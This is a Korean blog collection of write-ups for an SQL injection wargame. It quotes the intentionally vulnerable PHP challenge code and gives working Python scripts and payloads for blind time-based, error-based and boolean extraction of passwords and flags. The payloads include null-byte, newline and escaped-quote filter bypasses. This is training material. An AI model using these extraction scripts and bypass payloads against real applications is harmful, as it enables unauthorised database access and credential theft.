늘모자란, 개발

늘모자란, 개발

Result for wargame/-los.eagle-jump.org:

  • 2017/06/28 [LOS] umaru
  • 2017/06/28 [LOS] hell_fire, evil_wizard
  • 2017/06/28 [LOS] dark_eyes
  • 2017/06/28 [LOS] iron_golem
  • 2017/06/28 [LOS] dragon
  • 2017/06/22 [LOS] xavis
  • 2017/06/21 [LOS] nightmare
  • 2017/06/21 [LOS] succubus
  • 2017/06/21 [LOS] zombie_assasin
  • 2017/06/20 [LOS] assasin

  • 
    <?php
      include "./config.php";
      login_chk();
      dbconnect();
    
      function reset_flag(){
        $new_flag = substr(md5(rand(10000000,99999999)."qwer".rand(10000000,99999999)."asdf".rand(10000000,99999999)),8,16);
        $chk = @mysql_fetch_array(mysql_query("select id from prob_umaru where id='{$_SESSION[los_id]}'"));
        if(!$chk[id]) mysql_query("insert into prob_umaru values('{$_SESSION[los_id]}','{$new_flag}')");
        else mysql_query("update prob_umaru set flag='{$new_flag}' where id='{$_SESSION[los_id]}'");
        echo "reset ok";
        highlight_file(__FILE__);
        exit();
      }
    
      if(!$_GET[flag]){ highlight_file(__FILE__); exit; }
    
      if(preg_match('/prob|_|\./i', $_GET[flag])) exit("No Hack ~_~");
      if(preg_match('/id|where|order|limit|,/i', $_GET[flag])) exit("HeHe");
      if(strlen($_GET[flag])>100) exit("HeHe");
    
      $realflag = @mysql_fetch_array(mysql_query("select flag from prob_umaru where id='{$_SESSION[los_id]}'"));
    
      @mysql_query("create temporary table prob_umaru_temp as select * from prob_umaru where id='{$_SESSION[los_id]}'");
      @mysql_query("update prob_umaru_temp set flag={$_GET[flag]}");
    
      $tempflag = @mysql_fetch_array(mysql_query("select flag from prob_umaru_temp"));
      if((!$realflag[flag]) || ($realflag[flag] != $tempflag[flag])) reset_flag();
    
      if($realflag[flag] === $_GET[flag]) solve("umaru");
    ?>
    


    id where order limit, 뭐 쓸수있는게 없고 100자 넘어도 안된다
    살살하다가 갑자기 살벌하게 튀어 나온 느낌이라 문제보고 좀 벙쪘는데 힘내서...

    보면 reset_flag 가 실행되면 무조건 플래그가 리셋되는데 이걸 막아야된다.

    reset_flag가 실행되는 시점은 단 한군데 뿐인데, 이 친구를 저지할 수 있는 시점이라고 하면 update prob_umaru... 밖에 없다. 여기서 고의로 에러를 발생시켜줘야한다. (소스상 처리가 되지 않은 PHP는 에러가 나면 반드시 죽기 때문이다)

    그래서 flag에 처음엔 빈값을 넣음과 동시에 @t:=flag를 이용해 강제로 업데이트치고 패스해볼까 했는데 , 가 필터링되고 있었다. 하..
    에러도 내면서 참일땐 비교도 해야 된다니  어려운일이 아닐 수가 없다. 일단 select 가 아닌 update에서의 sqli 이기 때문에 sleep 을 사용해야 되는건 맞는것 같고, 어떻게 if를 bypass할지 검색해보다가 그냥 실행만 되면 된다는거 같다. 그래서 사용을 xor 연산을 의미하는 ^ 를 사용하는데, 사실 다른 연산자는 안찾아봤지만 아마 시프트 연산도 가능할 것 같단 생각이다 "<<" 라던지.. 

    우선 페이로드를 다 작성했는데 정말 16자리에서 끊어지는지 아닌지 확인하기 위해 다음과 같이 쿼리를 짰다

    for j in range(1,200):
        start_time = time.time()
        data = "(select sleep(case when length(flag) like {} then '20' else '0' END)^(select '1' union select '2'))".format(j)
        data = requests.utils.quote(data)
        #print data
    
        r = requests.get(url+'?flag='+data,headers=headers)
    
        times = time.time() - start_time
        print j, times
        if times > 20:
            loop = j
            break
    
    print loop
    


    16에서 정확히 멈춘다. (네트워크가 불안해서 자꾸 이상한 값이 나와서 아예 큰 값을 줘버렸는데 적당히 판단들 하시길..)
    이 코드를 조금만 수정해서 이제 페이로드를 따는데 진짜 골때리는 일이 벌어졌다

    9자리쯤 캐치를 했는데 글쎄 100자리 제한에 걸리는것이다. 즉, like 로 비교를 걸었더니 플래그에 들어갈 string도 length 체크 대상에 들어가는것이다. 다시 말하면, payload를 16자를 뺀 83~4자안에서 끝내야 된다는것이다.... 아뿔싸가 아닐 수 없다. 어느 부분을 줄여야 하나... 8자 정도만 더 줄이면 되는데! 라고 적어놓고 보니 일일히 ' 를 해놨길래 다 뺐다. 아마 거의 자리수를 끝까지 이용하는 payload가 아닐까 싶다..

    #!/usr/bin/env python
    # -*- coding: utf8 -*-
       
    import requests, time
      
    headers = {'Host': 'los.eagle-jump.org', 'Cookie': 'PHPSESSID=;'}
    url = "http://los.eagle-jump.org/umaru_.php"
    string = "1234567890abcdefghijklmnopqrstuvwxyz"
    
    loop = 0
    pw = ''
    
    
    for j in range(1,200):
        start_time = time.time()
        data = "(select sleep(case when length(flag) like {} then '20' else '0' END)^(select '1' union select '2'))".format(j)
        data = requests.utils.quote(data)
        #print data
    
        r = requests.get(url+'?flag='+data,headers=headers)
    
        times = time.time() - start_time
        print j, times
        if times > 20:
            loop = j
            break
    
    print loop
    
    for i in range(1,loop+1):
        for j in string:
            start_time = time.time()
            data = "(select sleep(case when flag like '{}{}%' then 2 else 0 END)^(select 1 union select 2))".format(pw,j)
            data = requests.utils.quote(data)
            #print data
    
            r = requests.get(url+'?flag='+data,headers=headers)
    
            times = time.time() - start_time
            print j, times
            if times > 2:
                pw = pw + str(j)
                print "[!] found",pw
                break
       
    print pw
    



    2017/06/28 15:39 2017/06/28 15:39
    <?php
      include "./config.php"; 
      login_chk(); 
      dbconnect(); 
      echo "<h1>Sorry, this challenge is broken! (Thanks to <i>@dohyeokkim</i>)</h1>";
      solve("hell_fire");
      highlight_file(__FILE__);
    ?>
    


    <?php
      include "./config.php"; 
      login_chk(); 
      dbconnect(); 
      if(preg_match('/_|\.|\(\)/i', $_GET[limit])) exit("No Hack ~_~");
      echo "<h1>Sorry, this challenge is broken! (Thanks to <i>@dohyeokkim</i>)</h1>";
      solve("evil_wizard");
      highlight_file(__FILE__);
    ?>
    


    헤헷... 뭐지....
    도대체 뭔가 싶어서 찾아보니 이런 문제였다고 한다. DB버전을 올릴 수 없어서... 라는데 조금 아쉽긴하다.

    2017/06/28 15:11 2017/06/28 15:11
    <?php
      include "./config.php"; 
      login_chk(); 
      dbconnect(); 
      if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
      if(preg_match('/col|if|case|when|sleep|benchmark/i', $_GET[pw])) exit("HeHe");
      $query = "select id from prob_dark_eyes where id='admin' and pw='{$_GET[pw]}'";
      $result = @mysql_fetch_array(mysql_query($query));
      if(mysql_error()) exit();
      echo "<hr>query : <strong>{$query}</strong><hr><br>";
      
      $_GET[pw] = addslashes($_GET[pw]);
      $query = "select pw from prob_dark_eyes where id='admin' and pw='{$_GET[pw]}'";
      $result = @mysql_fetch_array(mysql_query($query));
      if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("dark_eyes");
      highlight_file(__FILE__);
    ?>
    


    썸네일이 무서운 고양이..
    이번에는 if를 사용할 수 없다. 삼항연산자 (Conditinal operator)를 사용해보려고 짱구를 굴렸으나 case가 막혀있어서 안된다
    아까 문제는 에러를 출력해준 반면 이 문제는 그냥 exit한다. 뭐.. 별 다를바가 없다. 이 문제에서는 에러를 어떻게 일으키는지가 초점이고, 화면이 표시 안되는건 그냥 반환 값이 0이냐 아니냐로 확인하면된다.

    #!/usr/bin/env python
    # -*- coding: utf8 -*-
       
    import requests
      
    headers = {'Host': 'los.eagle-jump.org', 'Cookie': 'PHPSESSID=;'}
    url = "http://los.eagle-jump.org/dark_eyes_.php"
    string = "0123456789ABCDEF"
    
    loop = 0
    pw = ''
    
    
    for j in range(1,100):
        data = "' || ( id='admin' && (select length(hex(pw))={} union select 1 )) ;".format(j)
        data = requests.utils.quote(data)
        r = requests.get(url+'?pw='+data+"%00",headers=headers)
        print r.text
        
        if len(r.text) > 0:
            loop = j
            break
    
    print loop
    
    
    for i in range(1,loop+1):
        for j in string:
            data = "' || ( id='admin' && (select right(left(hex(pw),{}),1) = 0x{} union select 1 )) ;".format(i,str(j).encode('hex'))
            data = requests.utils.quote(data)
            r = requests.get(url+'?pw='+data+"%00",headers=headers)
    
            if len(r.text) > 0:
                pw = pw + str(j)
                print "[!] found",pw
                break
       
    print pw
    
    2017/06/28 15:09 2017/06/28 15:09
    <?php
      include "./config.php"; 
      login_chk(); 
      dbconnect(); 
      if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
      if(preg_match('/sleep|benchmark/i', $_GET[pw])) exit("HeHe");
      $query = "select id from prob_iron_golem where id='admin' and pw='{$_GET[pw]}'";
      $result = @mysql_fetch_array(mysql_query($query));
      if(mysql_error()) exit(mysql_error());
      echo "<hr>query : <strong>{$query}</strong><hr><br>";
      
      $_GET[pw] = addslashes($_GET[pw]);
      $query = "select pw from prob_iron_golem where id='admin' and pw='{$_GET[pw]}'";
      $result = @mysql_fetch_array(mysql_query($query));
      if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("iron_golem");
      highlight_file(__FILE__);
    ?>
    


    sleep과 benchmark가 보이는거 보니 이건 time based 인젝션인거같다. 라고 생각했지만 error based injection이다.
    그냥 time based로 풀지 말라고 한거같다. 역시 해보고 써야지 안해보고 글을 쓰면 괜히 다 지우는 사태가 발생한다 ㅠㅠ

    오류를 일부러 내면 exit(mysql_error())에서 에러를 출력해준다.

    에러는 다양하게 내는 방법이 있지만 subquery로 하기로 했다. xavis에서 사용했던 hex 놀음을 다시 할 시간.

    #!/usr/bin/env python
    # -*- coding: utf8 -*-
       
    import requests
      
    headers = {'Host': 'los.eagle-jump.org', 'Cookie': 'PHPSESSID=;'}
    url = "http://los.eagle-jump.org/iron_golem_.php"
    string = "0123456789ABCDEF"
    
    loop = 0
    pw = ''
    
    
    for j in range(1,100):
        data = "' || ( id='admin' && if(length(hex(pw))={},true,(select 1 union select 2))) ;".format(j)
        data = requests.utils.quote(data)
        r = requests.get(url+'?pw='+data+"%00",headers=headers)
        print r.text
        
        if r.text.find('Subquery returns more than 1 row') == -1 :
            loop = j
            break
    
    print loop
    
    for i in range(1,loop+1):
        for j in string:
            data = "1' || ( id='admin' && if(right(left(hex(pw),{}),1) = 0x{},true,(select 1 union select 2))) ;".format(i,str(j).encode('hex'))
            data = requests.utils.quote(data)
            r = requests.get(url+'?pw='+data+"%00",headers=headers)
    
            if r.text.find('Subquery returns more than 1 row') == -1 :
                pw = pw + str(j)
                print "[!] found",pw
                break
       
    print pw
    


    요점은 true면 내용 표시하고 아니면 에러가 나니까 죽어라고 말하는것이다. 얻은 hex값의 변환은 여기서 하면 된다
    답이 다소 허무할 수 있다..
    2017/06/28 14:50 2017/06/28 14:50
    <?php 
      include "./config.php"; 
      login_chk(); 
      dbconnect(); 
      if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); 
      $query = "select id from prob_dragon where id='guest'# and pw='{$_GET[pw]}'";
      echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
      $result = @mysql_fetch_array(mysql_query($query)); 
      if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
      if($result['id'] == 'admin') solve("dragon");
      highlight_file(__FILE__); 
    ?>
    


    주석을 깨야 되는데 주석이 있다고 입력이 안되는건 아니다. 이런 경우에는 개행을 시켜서 다음줄에 실행되게 하면되는데, 개행해서 건너뛴건 여러번 했다. %0a를 넣으면된다.

    되는지 안되는지 알아보기 위해 다음과 같이 꾸며보자.

    select id from prob_dragon where id='guest'# and pw=' and 1=2 ; '
    


    쿼리가 돌지 않는다. 다시 제대로 준비해서 펀치를 날린다

    select id from prob_dragon where id='guest'# and pw=' and 1=2 or id='admin' ; '
    


    2017/06/28 14:17 2017/06/28 14:17
    <?php 
      include "./config.php"; 
      login_chk(); 
      dbconnect(); 
      if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
      if(preg_match('/regex|like/i', $_GET[pw])) exit("HeHe"); 
      $query = "select id from prob_xavis where id='admin' and pw='{$_GET[pw]}'"; 
      echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
      $result = @mysql_fetch_array(mysql_query($query)); 
      if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
       
      $_GET[pw] = addslashes($_GET[pw]); 
      $query = "select pw from prob_xavis where id='admin' and pw='{$_GET[pw]}'"; 
      $result = @mysql_fetch_array(mysql_query($query)); 
      if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("xavis"); 
      highlight_file(__FILE__); 
    ?>
    


    전사 공격 문제이다. 음..
    select id from prob_xavis where id='admin' and pw='' or 1=1;'
    


    ' 를 넣고 ;%00를 넣어서 쿼리를 파괴하니까 admin이 나온다 여기를 플래그로 넣으면 된다
    근데 골치가 아프다. 일반 스트링으로 돌리니까 아스키엔 걸리지도 않고 뭔가 불길한 예감이다.
    그래서 hex를 쓰기로 했다

    pw를  hex화해서 length를 찍어보니 80자리란다. 80자리를 찍어보는 코드를 작성해보았다

    #!/usr/bin/env python
    # -*- coding: utf8 -*-
       
    import requests
      
    headers = {'Host': 'los.eagle-jump.org', 'Cookie': 'PHPSESSID=;'}
    url = "http://los.eagle-jump.org/xavis_.php"
    string = "0123456789ABCDEF"
    
    loop = 0
    pw = ''
    
    
    for j in range(1,100):
        data = "' || id='admin' && length(hex(pw)) = {};".format(j)
        data = requests.utils.quote(data)
        print url+'?pw='+data+"%00"
        r = requests.get(url+'?pw='+data+"%00",headers=headers)
        
        if r.text.find('Hello admin') != -1 :
            loop = j
            break
    
    print loop
    
    
    for i in range(1,loop+1):
        for j in string:
            data = "1' || id='admin' && right(left(hex(pw),{}),1) = 0x{} ;".format(i,str(j).encode('hex'))
            data = requests.utils.quote(data)
            r = requests.get(url+'?pw='+data+"%00",headers=headers)
    
            if r.text.find('Hello admin') != -1 :
                pw = pw + str(j)
                print "[!] found",pw
                break
       
    print pw
    


    그럼 80자리 hex code가 나오는데 이 긴 문자열의 변환은 여기서 해보자. 다른 방법이 있겠는데 나는 그냥 찾아서 했다

    hex로 풀고 다른 사람들은 어떻게 했나 찾아보니 처음엔 한글이었다는데, 한글이더라도 이렇게 접근하면 뭐.. 될거 같은 생각이 든다.
    속도도 범위가 정말 작기때문에 엄청나게 빨리 풀 수 있다.

    여기나, 여기에서 소개해주고 있는 방법은 신세계가 열릴 수 있으니 한번쯤 참고해봐도 좋을 것 같다
    2017/06/22 16:20 2017/06/22 16:20
    <?php 
      include "./config.php"; 
      login_chk(); 
      dbconnect(); 
      if(preg_match('/prob|_|\.|\(\)|#|-/i', $_GET[pw])) exit("No Hack ~_~"); 
      if(strlen($_GET[pw])>6) exit("No Hack ~_~"); 
      $query = "select id from prob_nightmare where pw=('{$_GET[pw]}') and id!='admin'"; 
      echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
      $result = @mysql_fetch_array(mysql_query($query)); 
      if($result['id']) solve("nightmare"); 
      highlight_file(__FILE__); 
    ?>
    


    이름이 좀 무시무시한데

    6자리 안되게해서 패스워드를 따내야 된단다
    처음엔
    pw=\%20||1in1-- 이런식으로 해서 점프하려했는데 잘보니까 주석이 될만한건 다 막혀있고 id에도 입력을 못한다. 그니까 즉.. 뒤의 id!='admin'도 써먹어야 한다.
    고민좀하고 있는데 진짜 허망하게 힌트를 받았다

    [22.06.17 01:59] 나이트메어인가 할차롄데
    [22.06.17 01:59] 나이트메어가
    [22.06.17 01:59] 오토 타입캐스트 쓰는거였던가
    [22.06.17 02:03] 헐
    [22.06.17 02:03] ㅎㄹ...

    가끔은 어이없게 힌트를 얻기도 한다.

    select id from prob_nightmare where pw=('')=0;') and id!='admin'
    


    정답부터 적고 얘기하면 mysql 에서 문자열은 0이 되는데 0으로 매칭하면 참이 된다
    이렇게도 할 수 있다

    select id from prob_nightmare where pw=(''=1);') and id!='admin'
    


    정답이 admin 을 선택하는게 아니고 단순히 아이디만 나오면 되는 것이기 때문에 쿼리를 어떻게 구성하던 상관없다.
    여기서 이해해야할 것은 ''가 반환하는 값이 0이라는 것이다. (auto type cast)
    그리고 뒤에 꼭 ;%00 를 붙여줘야 하는데 이게 바로 주석을 만드는 것이다. 주석은 # 이나 -- 밖에 없지 않냐.. 맞는데 여기서도 또 하나배운게,
    mysql은 쿼리를 읽을떄 null을 만나면 멈춘다. 그러니까 여기서는 글자수도 맞추면서, 쿼리를 강제 중단 시키는 역할로 수행된다.

    우회에 우회. 6글자! (7글자지만)

    2017/06/21 13:18 2017/06/21 13:18
    <?php 
      include "./config.php"; 
      login_chk(); 
      dbconnect(); 
      if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~"); 
      if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); 
      if(preg_match('/\'/i', $_GET[id])) exit("HeHe"); 
      if(preg_match('/\'/i', $_GET[pw])) exit("HeHe"); 
      $query = "select id from prob_succubus where id='{$_GET[id]}' and pw='{$_GET[pw]}'"; 
      echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
      $result = @mysql_fetch_array(mysql_query($query)); 
      if($result['id']) solve("succubus"); 
      highlight_file(__FILE__); 
    ?>
    


    이젠 제대로 ' 를 필터링한다. 이건 감이 안와서 검색을 좀 해봤는데 답은 quote를 강제로 esacpe 시키는것이다
    그러니까 이미 escape 된 \' 이라고 거짓말을 치는건데..

    요컨데 앞의 뒤의 id에 들어가는 '를 문자열로 만들어서 quote라고 인식하지 않게 하는 것이다.
    그래서 ' 안에 ' 가 들어갈 수 있게 되면 쿼리가 성립한다. 좀 어처구니가 없다

    select id from prob_succubus where id='\' and pw=' or 1=1 -- a'
    
    2017/06/21 12:42 2017/06/21 12:42
    <?php 
      include "./config.php"; 
      login_chk(); 
      dbconnect(); 
      if(preg_match('/\\\|prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~"); 
      if(preg_match('/\\\|prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); 
      if(@ereg("'",$_GET[id])) exit("HeHe"); 
      if(@ereg("'",$_GET[pw])) exit("HeHe"); 
      $query = "select id from prob_zombie_assassin where id='{$_GET[id]}' and pw='{$_GET[pw]}'"; 
      echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
      $result = @mysql_fetch_array(mysql_query($query)); 
      if($result['id']) solve("zombie_assassin"); 
      highlight_file(__FILE__); 
    ?>
    


    쿼리에서 '를 쓸 수 없는데 '로 둘러쌓인 이 쿼리를 어떻게 파괴할 것 인가?
    ereg를 파괴하지 않으면 안된다. ereg가 왜 deprecated가 됐을까? 바로 취약점이 있기 때문이다.

    null byte에 대한 검사를 ereg는 수행하질 못한다. 그래서, %00%27 이런식으로만 적어줘도 가볍게 넘을 수 있다

    select id from prob_zombie_assassin where id='admin' and pw='' or 1=1 -- a'
    
    2017/06/21 12:33 2017/06/21 12:33
    <?php 
      include "./config.php"; 
      login_chk(); 
      dbconnect(); 
      if(preg_match('/\'/i', $_GET[pw])) exit("No Hack ~_~"); 
      $query = "select id from prob_assassin where pw like '{$_GET[pw]}'"; 
      echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
      $result = @mysql_fetch_array(mysql_query($query)); 
      if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
      if($result['id'] == 'admin') solve("assassin"); 
      highlight_file(__FILE__); 
    ?>
    


    ' 를 쓸수 없는데 like 안에 제약이 없으니까 {}% 이런 느낌으로 값을 비교할 수 있다.
    그런데 뭐가 admin인지 아닌지를 구별해야되니 그것도 문제다

    문자열을 돌려보니 8% 에서 guest가 나왔다. 그러니까 guest의 비밀번호는 8로 시작한다는건데..
    이건 어차피 전체 문자열을 찾을 필요가 없다고 생각했다.

    풀 스트링으로 다 돌렸는데 guest 만 나왔으니, admin의 비밀번호도 8로 시작하는데 row 경쟁에서 guest가 위이기 떄문일 것이다.
    고로 한번 더 작업을 하니 역시 풀스트링인데도 guest만 나왔다. 83까지 획득.

    다시 돌리니 832에서 admin이 나왔다. 여기가 분기. 고로 832% 라고 답을 입력하면 해결된다.
    너무 간단한 문제라서 따로 루프 없이 손으로 돌리고 중지하고 그랬다. 코드 생략..
    2017/06/20 16:26 2017/06/20 16:26